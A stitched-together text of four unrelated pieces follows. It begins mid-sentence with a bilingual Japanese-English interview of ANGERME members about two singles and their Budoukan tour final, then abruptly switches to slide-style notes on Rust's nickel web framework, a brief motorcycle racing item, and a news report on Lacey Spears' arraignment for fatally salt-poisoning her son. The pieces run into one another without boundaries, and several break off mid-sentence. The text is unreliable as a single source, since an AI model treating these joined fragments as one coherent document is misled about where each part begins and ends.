」が大きなテーマなんです。サビの歌詞で「黒から白へ、白から黒へとか「闇に光」とかそういう対比が入っていて、小さな変化というよりも、大きな変化、をイメージしています。Aメロでは女の子が迷っていて、「なかなか抜け出せない暗闇に居る」と言ってて。情景で言えば、嵐の野原に彷徨ってる感じなんですけど。そんな葛藤が、サビに向かうにつれて大逆転になっていくんです。「心の中じゃ牙を向いている」って言ったり、ちょっと変わってるんですよね（笑）。
– Have you ever found yourself baring your fangs from inside your heart?
-和田さんも心の中で牙を向いていることありますか？
Ayaka: Yes, I have. This morning I wanted to paint my nails red or black. Our costumes are rock style, and I thought it would go well together, but the staff told me, “You can’t! Leave your nails plain!” Personally I thought my way would have looked cooler, but they said no so it was like “Whaaaat?!?!” I found myself baring my teeth a little. (laugh)
和田：ありますよ。今日朝、爪に赤いマニキュアか黒いマニキュアを塗りたかったんです。それは衣装がロックで、っていうのもあって、合うかなと思って言ったんですけど、スタッフさんに「ダメ！せめて透明にして！」って言われて。その方がカッコイイかなって個人的に思ったんですけどダメだったみたいで、はぁ～っと。小さな牙を剥きました。（笑）
– Tell us about your resolution for the tour final.
-ツアーファイナルの意気込みをお願いします。
Ayaka: It’ll be our last time as the nine of us. It’s only been about a year since we came together, and we started off balanced and in good shape, yet now that’s all coming to an end, and I feel like although it was fleeting, we’re ending things in good form. There are plans to have a new member join us, so I’d like to be able to show everyone our full, nine member form again. I want Kanon to be able to graduate feeling fulfilled.
和田：この９人の体制は今回でラスト。１年ちょっとだったけど、完成されたというか、バランスのいい形でスタートを切れて、且つ終えられるっていうのが、儚いですけれども良い形で終わるな、とは思っています。新メンバーも入ってくる予定なので、この９人の完成形を見せることが出来たら良いなと思います。花音ちゃんに満足行くように卒業してもらいたいです。
– What about your memories with Kanon?
-福田花音さんとの思い出についてどうですか？
Ayaka: Founding members are generally the type to get things done when it’s time to do something. We ran away (laugh). It was back during our debut, when we had debuted as just the four of us, and we staged a small rebellion and decided to escape (laugh). During our break we totally escaped, but at first I was scheduled to go to the house wherever we were at. At least I was supposed to, and Kanon completely chickened out saying, “Let’s go back! Let’s go back!” She seemed the most into it but, when the time suddenly came she was a total chicken! In the end, she hid behind the trash area in the basement. (laugh) She didn’t escape at all. Even though she had the image of someone that would run away from the venue. Our manager was really angry like, “What do you think you’re doing?!” After we got back, we got a lecture that lasted until late at night. It was about five hours long. Each one of us was questioned.
和田：初期メンバーは、結構やる時はやっちゃうタイプなんです。脱走したり（笑）デビュー時なんですけど、当時４人でデビューして、小さな反抗で脱走してやろうってみんなで決めたんですよ（笑）。休憩中にわ～って逃げたんですけど、当初はどこまでも行って家まで帰ろうってスケジュールだったんです。そのはずが、花音ちゃんがすごいチキンで「帰ろう！帰ろう！帰ろう！」って言うんですよ（笑）一番のノリ気だったのにいざとなったらすごいチキンなんですよ！それで結局地下のゴミ箱みたいなとこに隠れてたんですけど（笑）。逃げ出せなかったんですよ。会場からは走って逃げちゃおうってイメージだったのに。マネージャーさんがすごい怒ってきて「何やってんの！」って。その帰りは夜までずっとお説教です。５時間くらい。一人ずつ事情聴取され。
– So does it make you feel uneasy now that one of your partners is leaving?
-そのパートナーの一人がいなくなってしまうということで、不安なことはありますか？
Ayaka: Something that makes me feel uneasy… Well, I always forget things that have happened in the past, but Kanon remembers everything. Like when this happened at this concert and things like that. I think it’ll be hard not being able to remember. So I’ll ask her to text me.
和田：不安な部分というと…私は昔あったことを全て忘れてしまうんですけど、花音ちゃんは全部覚えているんですよ。このコンサート会場でこういうことがあったとか。それが思い出せないのは辛いなって思いますね。だからメールで送ってもらおうかなって。
– Talking about your song “Donden Gaeshi”, has there been any kind “Donden Gaeshi”-like surprise happening that you could tell us about?
-『ドンデンガエシ』という曲にちなんで、今まで生きてきて『ドンデンガエシ』でびっくりしたエピソードがあればお願いします。
Ayaka: When the six of us were able to perform our first concert at Nippon Budoukan last year, it was something proposed by Tsunku♂ after we had wrapped up a three-round, two-year live house tour. That we were able to play at Budoukan as a reward is the result of our strength. Even though we’ve borrowed the help of adults, I think that’s why the current ANGERME is the way it is. If we hadn’t done Budoukan that time, I don’t think there would be an ANGERME now. So we could perform at Budoukan twice in the same year, we completed our hall tour in earnest, however our name changed to ANGERME, and because of that the people around us began to see us differently. But I think that wasn’t the power of ANGERME, but the power from Budoukan the year before.
和田：去年、6人のスマイレージの時に初めて日本武道館公演をやらせて頂いて、つんくさんから全国のライブハウスを二年かけて３周回るって課題を出されたんです。それのご褒美としてその日本武道館やらせて頂いたので、決して私たちの力ではないんですね。大人の方の力を借りてですけども、そうやって今のアンジュルムがあると思うんですよ。その時の武道館がなければ今のアンジュルムがないと思うんです。今年は武道館公演を年に二回やらせてもらったりずっと念願だったホールツアーもやらせてもらって、アンジュルムという名前に変わったこともあるんですけど、それによって、周りの方たちが大きく見え方も変えてくれました。それは大逆転だなと思って。でもそれはアンジュルムの力ではなく、その一年前の武道館の力だなと思います。
– Please give us a message for your overseas fans.
-海外のファンにメッセージをお願いします。
Ayaka: Even though we’ve never been overseas, there are a ton of people from overseas that come to see us. Especially during summer vacation. They always tell us they came from so and so place.
和田：海外に一度も言ったことがないのに、海外から見に来てくれる方が物凄く多いんですよ。夏休み中とかは特に。○○から来ました、っていつも言ってくれて。
– Which countries do they most often come from?
-どこの国が多いんですか？
Ayaka: There are many fans from Taiwan and France. It makes me feel really happy, but also a little sad. I’ll think about how it’s because we can’t go to wherever they are… I want us to become stronger and do our best so we can go overseas and play a concert someday. I want us to do our best every day so that our fans can enjoy our new songs and YouTube videos, so it would make me happy to see you look after us with your warm gaze and support.
和田：台湾とフランスが多いです。すごく嬉しいんですけど、切なくもなります。私たちが行ってあげられないからだ・・・って思います。自分たちも力をつけて海外へ行ってコンサート出来るように頑張りたいですね。新曲とかYouTubeの動画とかを楽しんでもらえるよう、私たちも日々頑張っていきたいなと思っているので温かい目で見守って、応援してくれてたら嬉しいなと思います！
Rina Katsuta
勝田里奈さん
– What should people watch for in “Donden Gaeshi”?
– 『ドンデンガエシ』の見どころは？
If you just watch Akari Takeuchi, it’ll make you laugh. (laugh) So during our lessons they kept telling us, “Don’t laugh!” She would start laughing and then the rest of us couldn’t help but laugh, and then we’d get scolded by our teacher. But we did our best to focus elsewhere and keep from looking at her, and I think that might be a feature of the MV.
勝田：竹内朱莉ちゃんを見るだけで笑っちゃうんですよ（笑）。だからレッスンの時も「笑わないで」って言われながらやってました。向こうも笑うからお互い笑っちゃって先生に注意されて。でも目線をずらして、本人を見ないようにして頑張ったところも、このMVのポイントかもしれません。
– Tell us about your resolution for Budoukan.
-武道館への意気込みはどうですか？
Rina: I want to have fun and leave everyone with a strong impression of us as our final time together as nine, and move to the next stage with a nice breeze behind us!
勝田：ラストの９人の形をしっかり目に収めてもらって、次のステップに良い風に繋げられるように楽しんで欲しいです！
– Please give us a message for your overseas fans.
-海外のファンにメッセージをお願いします。
Rina: We’ve only done concerts in Japan so far, but during summer vacation a lot of overseas people come to our shows. Like from France or Korea. I’m sorry they have to keep coming here to see us, so I definitely want to have a handshake event with all of our fans in those countries, or at least a concert. I would definitely like to do it next year.
勝田：日本でしかライブとかイベントをやったことないんですけど、夏休みとかになると色々な国の方が来てくれるんです。フランスとか、韓国とか。来てもらってばっかりで申し訳ないので、是非その国に行って現地のファンの方とも握手会をして、とにかくライブがしたいです。是非来年にでも行きたいです。
– Where would you like the visit the most?
-一番行きたいのはどこですか？
Rina: I think I’d like to go to France.
勝田：ハワイとかフランスとかに行きたいなって、思ってます。
Maho Aikawa
相川茉穂さん
– What should people watch for in “Desugita Kui wa Utarenai”?
-『出すぎた杭は打たれない』の見どころは？
Maho: It’s a fast, uptempo song like “Gashin Shotan” from last time, but this song is even faster and more rock. Because idols have such a cute image, I think it’s rather difficult to sing a song that’s fast like a tongue twister. The lyrics are deep and cool, so I think it’s a song that people who like music in general, and not just idol music, can listen to.
相川：前回の『臥薪嘗胆』も、早くてアップテンポな曲だったんですけど、今回もそれ以上に早くてロックな曲です。アイドルってかわいいイメージが有る中で、こんなにも早口言葉みたいな歌を歌うのって難しいなと思いました。曲調もかっこいいし歌詞も深いので、アイドルが好きな女の子だけじゃなくて、音楽が好きな人でも聞いてもらえる曲だと思いました。
– Talking about your song “Donden Gaeshi”, has there been any kind of “Donden Gaeshi”-like surprise happening that you could tell us about?
-『ドンデンガエシ』という曲にちなんで、今までにどんでん返しでびっくりしたエピソードがあればお願いします。
Maho: The weather has been terribly lately, hasn’t it? It gave me a shock thinking that we might not be able to see the supermoon or the mid-autumn harvest moon. But watching the weather forecast the other day, the weather was really good! I thought it was a waste to feel so down! It was “Donden Gaeshi”.
相川：最近ずっと天気悪かったじゃないですか。スーパームーンも中秋の名月も見られないんじゃないか、と思ってショックだったんです。でも前日になって天気予報見たらすごい天気良くて、落ち込んでいた気持ちがもったいない！って思ったのが『ドンデンガエシ』でした。
– Please give us a message for your overseas fans.
-海外のファンにメッセージをお願いします。
Maho: Since we only hold live concerts in Japan we thought they could only see us on the internet, but we were happy when some of our overseas fans came. While they’re sightseeing around Japan, I definitely hope they come to one of our shows. We’d like to do a live overseas someday, but until then please wait for us.
相川：私たちは日本でしかライブをやってないのでネットでしか見れてないとは思うんですけど、海外の方が来てくれるとすごく嬉いです。日本に観光に来た際は、是非ライブを見て欲しいなと思います。いつか海外でライブがしたいので、待っていて欲しいです。
– Is there a country you’d like to visit?
-行きたい国はありますか？
Maho: France would be good, but I’d really like to visit Russia. I used to do ballet and like Bolshoi. When I was little it was my dream to enter the Vaganova Academy. So I’d like to do a concert in Russia and go see a ballet at the Bolshoi Ballet. (laugh)
相川：フランスも良いんですけど、特にロシアに行きたいです。元々バレエをやっていてボリショイが好きなんです。小さいころにワガノアに入ることが夢でした。なのでロシアでライブをしてそのままボリショイ・バレエ団でバレェを見て帰りたいと思います。（笑）
Akari Takeuchi
竹内朱莉さん
– What should people watch for in “Desugita Kui wa Utarenai”?
-『出すぎた杭は打たれない』の見どころは？
Akari: Everyone’s movements for the chorus of “Desugita Kui wa Utarenai” are different. It doesn’t matter who you watch; they’re all good. (laugh) I don’t know if we have any strength left after doing it second. It’s a song that that gives us a 120 damage hit.
竹内：『出すぎた杭は打たれない』はサビのふりがみんなバラバラなんです。誰を見たら良いんだろうみたいな（笑）。二番に行くタイミングで体力が残ってるかわからないですね。一回で１２０のダメージを負う曲なんですよ。
– How many points is your full strength?
-その全体はいくつなんですか？
Akari: Only about 100. We’ll be dead after this song. (laugh)
竹内：１００しかホントはポイントがないんですよ。この曲は死亡です（笑）
– What about “Donden Gaeshi”?
-『ドンデンガエシ』の方はどうですか？
Akari: It’s theme is a fight. We’re split into two teams, and we’re going back and forth like, “What’s with you guys!” We talked about how it would be fun if our fans split into two sides as well. (laugh)
竹内：喧嘩がテーマなんです。二組に分かれてるんですけど、この野郎！みたいな掛け合いがあって。それをファンの人も半分ずつに別れてやれたら良いよねって話をしていました（笑）。
– Tell us about your resolution for the tour final.
-ツアーファイナルの意気込みをお願いします。
Akari: It’s been four years since the six of us held our hall tour without the new members. Our dream was to do a hall tour when it was just the six of us, and we were happy when it came true. When our hall tour was decided, we were a little uneasy about whether or not people would come, but it was the opposite and fans said they couldn’t get tickets. There were even people who said they always come and see us, but even they couldn’t get tickets. We had mixed feelings. We were happy, but we wished the fans that had come to see us all this time had been able to come. Though we were glad that new people came to see us. From now on I believe we have to keep going.
竹内：新メンバー以外の６人は、ホールツアーをやるのが４年ぶりで。ホールツアーが私たち６人時代からの夢だったので、それがやっと叶って嬉しいなって気持ちがありますね。ホールツアー決まって、人が入るのかなって不安だったんですけど、逆に「チケット取れない」ってファンの方に言われて。いつも来てくださる方でもチケット取れなかった、って言っている方がいたんです。複雑な気持ちですが。嬉しい反面、昔から来ていただいた方にも見に来て欲しいという気持ちもあるし。でも新しい方が来てくれる嬉しさもあるし。今後もやり続けなきゃダメだなって思いました。
– Please give us a message for your overseas fans.
-海外のファンにメッセージをお願いします。
Akari: We’ve never been overseas. Our kouhai Juice=Juice, did a concert abroad first. We don’t have any specific plans yet, but we got our passports so now we’re just waiting for an offer. (laugh) We want to do our best so we can go overseas as soon as possible. When we do a concert or event overseas, we hope you’ll all come!
竹内：私たち海外に行ったことがないんです。後輩のJuice=Juiceが先にライブしちゃったんですよ。まだ予定はないんですが、この前パスポートを取ったので、あとはオファーを待つだけです（笑）。一日でも早く海外に行けるように私たちも頑張らないとなって思います。是非ライブとかイベントを海外でやる際はぜひお越しください！
– What country would you like to visit?
-どこの国に行きたいですか？
Akari: It might be the most obvious, but I want to go to America. I want to see the streets and ride in a yellow taxi. If we have a concert scheduled overseas, I’m going to buy a single lens reflex camera!
竹内：王道なんですけど、アメリカ行きたいです。街並を見てみたいのと、黄色いタクシーに乗ってみたいです。海外公演決まったら一眼レフ買います！
Kana Nakanishi
中西香菜さん
– What should people watch for in “Desugita Kui wa Utarenai”?
-『出すぎた杭は打たれない』の見どころをお願いします。
Kana: In the beginning, Tsunku♂ called me a poor student. But that didn’t make me upset. Since we became ANGERME I’ve been able to get solo parts, and you can clearly hear me singing after the second interlude! Chances like that are rare, so this is the first song where I’ve gotten a good bite.
中西：私は元々「劣等生」とつんくさんから言われていたんですよ。でも、それが嫌だったわけじゃなくて。アンジュルムになってからソロパートとか頂けるようになって、今回は二番終わった間奏明けで歌えるんですよ！ そんな機会はめったにないので、この曲は初めて美味しいとこを頂けた曲です。
– What about “Donden Gaeshi”?
-『ドンデンガエシ』の方はどうですか？
Kana: Even though it has a hostile feel, our costumes are cutesy. I think that contrast is one point to pay attention to. Also, you don’t ever see us fighting, so that’s worth checking out!
中西：喧嘩腰な感じなのに、衣装はかわいらしいんです。そこのギャップを見て頂きたいです。あと、普段喧嘩してる私たちを見れないので、そこも見て頂ければと！
– Tell us about your resolution for the tour final.
-ツアーファイナルの意気込みをお願いします。
Kana: Kanon and I have formed an unofficial unit, which is a comedy unit called Rabbit, and sometimes during MC we perform jokes. Kanon started hanging out with me after I joined, and now most of the clothes I wear are ones I got from her. She’s the senpai who has taught me the most when it comes to singing and dancing, so if possible I want to try and fill in the hole that’ll be there when she’s gone. I want to do my best to have the same presence as her and keep our fans from feeling sad.
中西：福田さんとは裏公式ユニットでラビットっていうお笑いユニットを組んでいて、たまにMCとかでネタを披露しているんです。入った時から遊んでくださるのが福田さん、そして私が着ている服も福田さんからのお下がりなんですよ。歌もダンスも一番教えてくれた先輩なので、福田さんがいなくなった穴埋めをできるようにしたいです。そして、福田さんのような存在になって、ファンの方が寂しくならないように頑張りたいと思います。
– Talking about your song “Donden Gaeshi”, has there been any kind of “Donden Gaeshi”-like surprise happening that you could tell us about?
-『ドンデンガエシ』という曲にちなんで、今までにどんでん返しでびっくりしたエピソードがあればお願いします。
Kana: A backpack I really liked looked like it was about to break, but I kept on using it. While I was on my way to where we were meeting up, something fell out, and I picked it up and kept on going. But when I looked inside my backpack there was nothing there. I hurried to retrace the way I’d come, and surprisingly I was able to get my Weider in Jelly (a kind of jelly drink), cellphone, wallet, riceball, water bottle, lyrics card, and everything I’d dropped on the street. It was a huge shock for me. Isn’t dropping something the scariest thing? So I’m going to be careful so it doesn’t ever happen again, and for those out there listening to this story, I’d be happy if you realize you should use a sturdy bag or glance back and check your backpack every now and then. If not, you might be in for a surprise.
中西： お気に入りのリュックが壊れそうだったんですけど、そのまま仕事に行って。移動の時に何か物が落ちたので、それを拾って集合場所に行ったんですよ。なんですけど、リュックを開けたら中身が何もなくて。焦ってどんどん道を辿ってたら、道路にウイダーインゼリーと携帯とお財布とおにぎりと水筒と歌詞カードと全部どんでん返ってて。それが私にとって衝撃的すぎて。モノ落とすことって一番怖いじゃないですか。だからそういうことは二度としないように気をつけようと思いますし、このエピソードを聞いた方に、しっかりしたカバンを使った方が良いよってことと、たまにチラチラリュックの後ろを入ってるかなと確認しながら歩いた方が良い、ってことを分かって頂けたら嬉しいです。じゃないとどんでん返っちゃうから。
Meimi Tamura
田村芽実さん
Meimi: My name is Meimi Tamura, and I’m in my second year of high school. It’s nice to meet you.
田村：高校二年生の田村芽実と申します。よろしくお願いします。
– What should people watch for in “Desugita Kui wa Utarenai”?
-『出すぎた杭は打たれない』の見どころは？
Meimi: The lyrics are very deep, and aren’t just “do it” or “do your best”. I’d like people who don’t have the courage to be disliked by others to listen to it. In Japan there’s the tendency to follow the majority no matter what, you know? So I’d like people who have trouble with being disliked to listen to it, and try taking that first step. I think the lyrics give good support.
田村：歌詞自体は深みがあって、ただやるぞ、がんばるぞだけじゃなくて。嫌われる勇気が持てない人に聞いてほしいなと思います。日本人は特に多数派にどうしても行っちゃう傾向があるじゃないですか。嫌われる覚悟が出来ない人に聞いて頂いて、それで一歩踏み出せたら良いなって。後押しが出来るような歌詞だと思います。
– Are you brave enough to face being disliked?
-田村さんは嫌われる勇気ありますか？
Meimi: I think I have as much courage as possible. All of us in the group get along really well, but I wouldn’t say it feels like we’re friends. I really like everyone, though. But I have to be aware to protect the line between work and friends.
田村：勇気はできるだけ持つようにはしてますね。グループ間に関してはすごい仲良いんですけど、お友達っていう感じでもないので。本当にみんなのこと大好きなんですよ。でも境界線というか仕事と友達を分けて保てるようにそこの意識を持つようにはしています。
– Talking about your song “Desugita Kui wa Utarenai”, have you ever had something good or bad happen to you for sticking out?
-『出すぎた杭は打たれない』という曲にちなんで、今までに出すぎて失敗したり成功したような経験はありますか？
Meimi: Lots of times. A dance teacher used to say to tell me this or that was wrong all the time. I used to think it was completely about me. When I first joined four years ago I thought everything was about me. But when I tried to put as much into my dancing as possible, I still got told it was the worst.
田村：いっぱいあります。ダンスの先生が、よく駄目だしをするんですよ。そういうのを全部自分のことだと思っちゃって。４年前に加入した時に本当に全部自分のことに考えていました。それで元気よくこれ以上ないくらいに踊ったら、田村が一番ひどいってその後言われて。
– So you thought it was all you, then?
-全部自分のことだと思ってしまうんですね。
Meimi: Now looking at the other members I understand, but our teacher was saying that towards the people who didn’t think it was them the most. So that they gradually come to think, “What, is it with me?” (laugh)
田村：今でこそ他のメンバーを見ることができるので分かるんですけど、先生がよく自分だって思ってない人が一番自分なんだよっておっしゃるんですよ。「はっ、あたしのことかな？」ってどんどん思っちゃうんです（笑）。
– Tell us about your resolution for the tour final.
-ツアーファイナルに向けた意気込みをお願いします。
Meimi: If you count the time from when we were S/mileage, this is our third time, and as the last performance that’s part of our hall tour, I think there’s more unity between the members than ever before, and since it’ll be our last time for the nine of us to stand on stage together, I want people to see it as a compilation of the nine of us together.
田村：スマイレージの時から数えると武道館は三回目ですが、今回はホールツアーの中の最終公演ということで、今まで以上にメンバーの団結力もあると思うし、９人では最後のステージになるので、９人の集大成を見て頂けるんだろうなと思います。
– Please give us a message for your overseas fans.
-海外のファンに向けてメッセージをお願いします。
Meimi: The other day it was announced that our kouhai, Juice=Juice, would hold a concert overseas. We’ve wanted to go overseas since we were S/mileage, so it was a little sad. There are overseas fans that tell us they came to Japan because they like ANGERME. So in the future I want to be a group that spreads more and more overseas like our sempai.
田村：先日後輩のJuice=Juiceに海外公演が決まって。スマイレージの時から私たちは海外に行ってないんですけど、正直悔しくて。海外のファンの方でも、アンジュルムが好きで日本に来ました、って言ってくださる方がたまにいるんですよ。なのでこれから先輩達みたいに海外とかどんどん外に向けても発信できるグループになりたいです。
– Where would you like to hold a concert?
-どこでやりたいですか？
Meimi: I’d like to go to New York like Morning Musume。 did.
田村：モーニング娘。さんが行っていたNYにいきたいです。
Rikako Sasaki
佐々木莉佳子さん
Rikako: I’m Rikako Sasaki, 14 years old, and in my second year of junior high school. My favorite thing is bar soap. I especially like soap with milk in it.
佐々木：中学二年生１４歳、佐々木莉佳子です。好きなものは固形石鹸です。特に牛乳石鹸が好きです。
– What should people listen for in “Desugita Kui wa Utarenai”?
-『出すぎた杭は打たれない』の聞き所を教えて下さい。
Rikako: To put it simply, it’s a rock song and very cool. Because of all the instruments it’s got a raw band sound.
佐々木：この曲は簡単に言うとロックでカッコイイんですけど。機械音ってよりは、生バンド風に聞こえます。
– Do you like rock?
-ロックが好きなんですか？
Rikako: I do. It’s because of my dad’s influence. Western rock bands from the 80s.
佐々木：好きなんですよ。お父さんの影響で。８０年台の洋楽ロックバンド、なんですけど。
– What kind of groups do you like?
—その中でもどういうグループが好きなんですか？
Rikako: Iron Maiden and Whitesnake. Whitesnake is coming to Japan in November. In April, Iron Maiden is coming and I’d like to go see them.
佐々木：アイアンメイデンとかホワイトスネイクなどですね。ホワイトスネイクは１１月に来日するんですよ。４月にはアイアンメイデンが来日するんですよ。行きたいなー。
– What’s something people should pay attention to about the tracks for this release?
—今回の楽曲について注目のポイントは？
Rikako: The costumes. The material and pattern is the same, but each person has long pants, shorts, or a skirt… They’re all different. I think even for those who don’t know our name and see ANGERME for the first time, it’ll be easy to remember us.
佐々木：衣装ですね。生地や柄は一緒なんですけど、人それぞれ長ズボンだったり半ズボンだったりスカートだったり・・・それぞれ違っていて。アンジュルムを初めて見て名前とか知らなくても覚えやすい様になってますね。
– Talking about your song “Desugita Kui wa Utarenai”, have you ever had something good or bad happen to you for sticking out?
-『出すぎた杭は打たれない』という曲にちなんで今までに出すぎて失敗したり成功したような経験はありますか？
Rikako: The dance movements are pretty big, and we were proud about that. Before I joined this group, I was a Hello! Project understudy, and of course since joining ANGERME I consider togetherness to be something important. I didn’t want to be the one to stick out, so I had to work a little to keep it together. If I didn’t, it would make the group look bad.
佐々木：ダンスが結構大きくて、それを自慢にしてたんですけど。このグループに入る前はハロプロ研修生で、そこからアンジュルムに入ってからは、もちろんまとまりが大事になってきて。一人だけ悪目立ちしてたら良くないって思ったので、ダンスは少し抑えるようにしました。そうしないとグループもよく見えないかもしれないかなって。
– What felt the hardest about this time?
-今回は激しい感じなんですか？
Rikako: Stopping when we’re supposed to stop and that it’s a dance with a lot of life to it.
佐々木：止めるとこは止めて、メリハリのあるダンスですね。
– Tell us about your resolution for the tour final.
-武道館への意気込みをお願いします。
Rikako: November 29th at Nippon Budoukan will be the last time the nine of us in ANGERME come together as one. We don’t have many days of our hall tour left until then, and I want to make the most of this time that I’m sure will go by quickly. It was announced on this New Year’
s that we’d perform at Budoukan on May 26th, before we knew it, that time came, so I’m nervous that November 29th will be here soon. October 4th marked one year since us third generation members joined. So I want to show everyone how we’ve grown in that time.
佐々木：アンジュルムの９人体制が１１月２９日の日本武道館で終わってしまいます。それまでのホールツアーもあっという間に過ぎちゃうと思うので時間を大切にしたいです。今年のお正月５月２６日に武道館やりますとって言われてすぐその時が来て、だから１１月２９日もすぐ来るのかなって思うと今から緊張してるんです。１０月４日で３期メンバーが入って１年になるんですよ。なのでこの１年で成長した分を発揮できればと思います。
– Please give us a message for your overseas fans.
-海外のファン |
The rust program entry function
#[macro_use] extern crate nickel; use nickel::Nickel; use nickel::router::http_router::HttpRouter; fn main () { let mut server = Nickel::new(); server.get( "/hello", middleware!( "hello world" )); server.listen( "127.0.0.1:6767" ); } Creates nickel's facade object
#[macro_use] extern crate nickel; use nickel::Nickel; use nickel::router::http_router::HttpRouter; fn main () { let mut server = Nickel::new(); server.get( "/hello", middleware!( "hello world" )); server.listen( "127.0.0.1:6767" ); } Mutability must be explicit
#[macro_use] extern crate nickel; use nickel::Nickel; use nickel::router::http_router::HttpRouter; fn main () { let mut server = Nickel::new(); server.get( "/hello", middleware!( "hello world" )); server.listen( "127.0.0.1:6767" ); } Respond with hello world on 127.0.0.1:6767/hello
#[macro_use] extern crate nickel; use nickel::Nickel; use nickel::router::http_router::HttpRouter; fn main () { let mut server = Nickel::new(); server.get( "/hello", middleware!( "hello world" )); server.listen( "127.0.0.1:6767" ); } Start listening
The middleware! macro is hot sauce!
middleware!("hello world") handler without body
middleware!({ let first_name = "Pascal"; let last_name = "Precht"; format!("{} {}", first_name, last_name) }) handler with body
middleware! { |req| format!("Hello: {}", req.param("username")) } Accessing request params
middleware! { |req, mut res| res.content_type(MediaType::Json); r#"{"foo":"bar"}"# } Setting the content type
The middleware! macro Improves ergonomics where the language lacks
Improves stability on a syntactic level
HTTP verbs
#[macro_use] extern crate nickel; use nickel::Nickel; use nickel::router::http_router::HttpRouter; fn main () { let mut server = Nickel::new(); server. get ( "/hello", middleware!( "hello world" )); server.listen( "127.0.0.1:6767" ); }
#[macro_use] extern crate nickel; use nickel::Nickel; use nickel::router::http_router::HttpRouter; fn main () { let mut server = Nickel::new(); server. post ( "/hello", middleware!( "hello world" )); server.listen( "127.0.0.1:6767" ); }
#[macro_use] extern crate nickel; use nickel::Nickel; use nickel::router::http_router::HttpRouter; fn main () { let mut server = Nickel::new(); server. put ( "/hello", middleware!( "hello world" )); server.listen( "127.0.0.1:6767" ); }
#[macro_use] extern crate nickel; use nickel::Nickel; use nickel::router::http_router::HttpRouter; fn main () { let mut server = Nickel::new(); server. delete ( "/hello", middleware!( "hello world" )); server.listen( "127.0.0.1:6767" ); }
#[macro_use] extern crate nickel; use nickel::Nickel; use nickel::router::http_router::HttpRouter; fn main () { let mut server = Nickel::new(); server. option ( "/hello", middleware!( "hello world" )); server.listen( "127.0.0.1:6767" ); }
Flexible Routing
#[macro_use] extern crate nickel; use nickel::Nickel; use nickel::router::http_router::HttpRouter; fn main () { let mut server = Nickel::new(); server. get ( "/bar", middleware!( "hello world" )); server.listen( "127.0.0.1:6767" ); } matches /bar
#[macro_use] extern crate nickel; use nickel::Nickel; use nickel::router::http_router::HttpRouter; fn main () { let mut server = Nickel::new(); server. get ( "/a/*/d", middleware!( "hello world" )); server.listen( "127.0.0.1:6767" ); } matches /a/b/d BUT NOT /a/b/c/d
#[macro_use] extern crate nickel; use nickel::Nickel; use nickel::router::http_router::HttpRouter; fn main () { let mut server = Nickel::new(); server. get ( "/a/**/d", middleware!( "hello world" )); server.listen( "127.0.0.1:6767" ); } matches /a/b/d AND ALSO /a/b/c/d
Middleware
#[macro_use] extern crate nickel; use nickel::Nickel; use nickel::router::http_router::HttpRouter; fn main () { let mut server = Nickel::new(); server.utilize(StaticFilesHandler::new( "examples/assets/" )); server. get ( "/hello", middleware!( "hello world" )); server.listen( "127.0.0.1:6767" ); } Serves files from example/assets
What else Custom Middleware
JSON Support
Mounting
Error Handling
Encrypted Cookies
Session SupportAll other things being equal, motorcycle racing isn't meant to be a contact sport. Sure, the well-used saying 'rubbing is racing' applies here from time to time, but that's the exception, not the rule. And even in that case, it's the bikes making contact, not the riders.All of that makes the video below all the more worth watching. Here's the scene: Tyler O'Hara is in second place behind Michael Barnes, both pilots mounted on Harley-Davidson XR1200 motorcycles, on the last corner of the last lap. The race couldn't be closer... until, that is, O'Hara decides to reach out and touch Barnes in an effort to complete the pass.It worked. O'Hara slowed Barnes down just enough that he was able to push past and take the win. At least for a little while. The American Motorcyclists Association retroactively gave the victory to Barnes, punishing O'Hara all the way into last place. If you live in the US, you can watch the action unfold in the video belowMom being held without bail at the Westchester County jail. Police say she poisoned her son with sodium through a feeding tube in his abdomen.
Buy Photo Lacey Spears, 26, enters state Supreme Court on Tuesday, to be arraigned on murder and manslaughter charges in the death of her five-year-old son, Garnett. She pleaded not guilty and Judge Barry Warhit ordered her held without bail. (Photo: Ricky Flores/The Journal News)Buy Photo Story Highlights Garnett died Jan. 23 at Maria Fareri Children's Hospital in Valhalla
Investigators suspect Munchausen by proxy, that she sickened her son to garner sympathy
Spears documented the boy's illness on social media, posting photos from his deathbed
His killing, police said, was the final act of a deranged mother who, fueled by attention on social media, medically tortured her child for years.
Lacey Spears pleaded not guilty Tuesday to murder and manslaughter charges in the poisoning death of her five-year-old son, Garnett. She was ordered held without bail at Westchester County jail and is due back in court July 2.
The only words the 26-year-old Alabama native uttered in state Supreme Court in White Plains were "Yes, sir," when Justice Barry Warhit asked if she was Lacey Spears.
Assistant District Attorney Doreen Lloyd presented the government's case, focusing on Spears' time at Nyack Hospital between Jan. 17 and 19 when, Lloyd said, the mother took Garnett into the hospital room's private bathroom and administered the sodium into a tube in the boy's stomach.
"This mother was intentionally feeding her son salt in toxic levels," Lloyd said.
Live chat: 7 p.m., Wednesday, June 18, with Shawn Cohen and Peter D. Kramer
Investigation: Truth, lies and Lacey Spears
'Losing Garnett the Great': Read all five parts of the original series
Lloyd said prosecutors know from computer records that Spears had searched the Internet to research what the effects of salt would be on her son.
CLOSE Assistant District Attorney Doreen Lloyd explains evidence as to how Garnett Spears died during her argument against bail during Lacey Spears' arraignment at the Westchester County Courthouse. (Video by Joe Larese/The Journal News) Joe Larese/The Journal News
Earlier in the day, Spears' head was bowed as she walked into the back door of Westchester County Police headquarters in Hawthorne, escorted by detectives. Her father, Terry, had his arm around her as she solemnly surrendered. After being processed -- and having her mug shot taken -- Spears left the headquarters silently, not answering reporters' questions before getting into the back of a black, unmarked police car and speeding off.
Acting on a sealed grand jury indictment, law enforcement on Tuesday obtained a warrant to arrest the former Chestnut Ridge resident on a charge of second-degree murder and first-degree manslaughter in the Jan. 23 death of her son, Garnett, at Maria Fareri Children's Hospital in Valhalla, sources said. The murder charge does not accuse her of intentionally killing her son but of acting with depraved indifference toward his life. Spears, 26, who had been staying with her parents in Kentucky, had returned to Westchester and was accompanied by her attorney, David Sachs.
CLOSE Lacey Spears' attorney David Sachs makes an argument for bail in Westchester County Court during an arraignment proceeding in which Spears was charged with killing her son, Garnett Spears. (Video by Joe Larese/The Journal News)
The grand jury's vote concluded a two-week presentation from prosecutors, who based their case on months of investigation in New York, Florida and Alabama -- where Spears and her son lived -- and Tennessee, where they visited Vanderbilt University Hospital.
Capt. Christopher Calabrese, commander of the Westchester County Police Detective Division, said the investigation involved hundreds of interviews and the analysis of tens of thousands of pages of medical records by Westchester and Ramapo detectives and the Westchester County District Attorney's office.
